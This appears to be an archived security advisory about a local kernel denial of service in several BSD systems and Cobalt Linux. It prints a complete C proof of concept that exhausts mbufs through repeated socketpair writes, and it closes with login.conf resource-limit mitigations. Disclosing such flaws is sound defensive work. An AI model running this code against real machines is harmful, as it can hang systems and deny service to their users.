COMMAND
	    kernel
SYSTEMS AFFECTED
	    FreeBSD 2.2.2,  2.2.6, 2.2.8,  3.2.x, 4.0  OpenBSD 2.3,  2.4, BSDI
	    2.1, 3.1, 4.0, 4.01, Cobalt Linux (MIPS) - RedHat based
PROBLEM
	    This was first posted to the  FreeBSD security list on the 9th  of
	    August,    subsequently    discussed    on    freebsd-stable   and
	    freebsd-hackers... no one  seems to care,  even though it  is able
	    to lock  up 2.2.6,  2.2.8, and  3.2.x machines  consistantly.   On
	    OpenBSD  2.4  -   GENERIC  kernel  &   OpenBSD  2.5-current   with
	    NMBSCLUSTERS=8192:  The  kernel logs one  "/bsd: mb_map full"  and
	    all processes trying to send something over the network get  stuck
	    waiting in mbuf.  Locally the system continues to function.
	    Rumours say that it affects NetBSD, though there's no confirmation
	    Code follows:
	
	    #include        <unistd.h>
	    #include        <sys/socket.h>
	    #include        <fcntl.h>
	    #define         BUFFERSIZE      204800
	    extern  int
	    main(void)
	    {
	            int             p[2], i;
	            char            crap[BUFFERSIZE];
	            while (1)
	            {
	                    if (socketpair(AF_UNIX, SOCK_STREAM, 0, p) == -1)
	                            break;
	                    i = BUFFERSIZE;
	                    setsockopt(p[0], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
	                    setsockopt(p[0], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
	                    setsockopt(p[1], SOL_SOCKET, SO_RCVBUF, &i, sizeof(int));
	                    setsockopt(p[1], SOL_SOCKET, SO_SNDBUF, &i, sizeof(int));
	                    fcntl(p[0], F_SETFL, O_NONBLOCK);
	                    fcntl(p[1], F_SETFL, O_NONBLOCK);
	                    write(p[0], crap, BUFFERSIZE);
	                    write(p[1], crap, BUFFERSIZE);
	            }
	            return(0);
	    }
	
	    Originally this was found by Sven Berkvens.
SOLUTION
	    login.conf on *BSDs can be used to set resource limits for  users,
	    CPUtime, memory  locked etc  etc...   Anyone that  is not  using a
	    login.conf or  other type  of resource  restriction is  asking for
	    punishment..
	    This can be fixed with  login accounting until a real  patch comes
	    along..   Frankly, you  can overload  ANY server,  not just  these
	    OS's..   Everything has  its limit  which is  why you  should have
	    some accounting in place.. as for the mbuf problem  specifically..
	    The problem is so deep into  the kernel and a problem from  so far
	    back  that  fixing  it  is  hard..  A  solution to this problem is
	    currently being  discussed on  the freebsd  mailing lists,  it may
	    end up in just  limiting the buffer size  that a user can  use and
	    definitely limiting the amount  of mbufs per process..   Remember,
	    login accounting, and raise your mbufs/maxusers!
	    Actually, there is  currently a patch  from brian feldman  that is
	    being tested and  will be added  shortly to the  -CURRENT tree for
	    further  testing..  it  adds  a  new  login.conf  action  to limit
	    sbsize..  to give you an idea.. the sbsize in the mbuf crash is  2
	    mb..  which  is  huge..  you  can  limit to however many bytes you
	    want..  if you  limited to say.. 640000..   there's no way  anyone
	    could  crash  it  with  mbufs.   of  course,  if you are running a
	    public access system, you  shuld ALWAYS have login.conf  setup, if
	    not for  mbufs, to  protect the  maxproc and  openfiles limits  as
	    that can be bad on the system too..  Once this login.conf addition
	    is made this should all be over.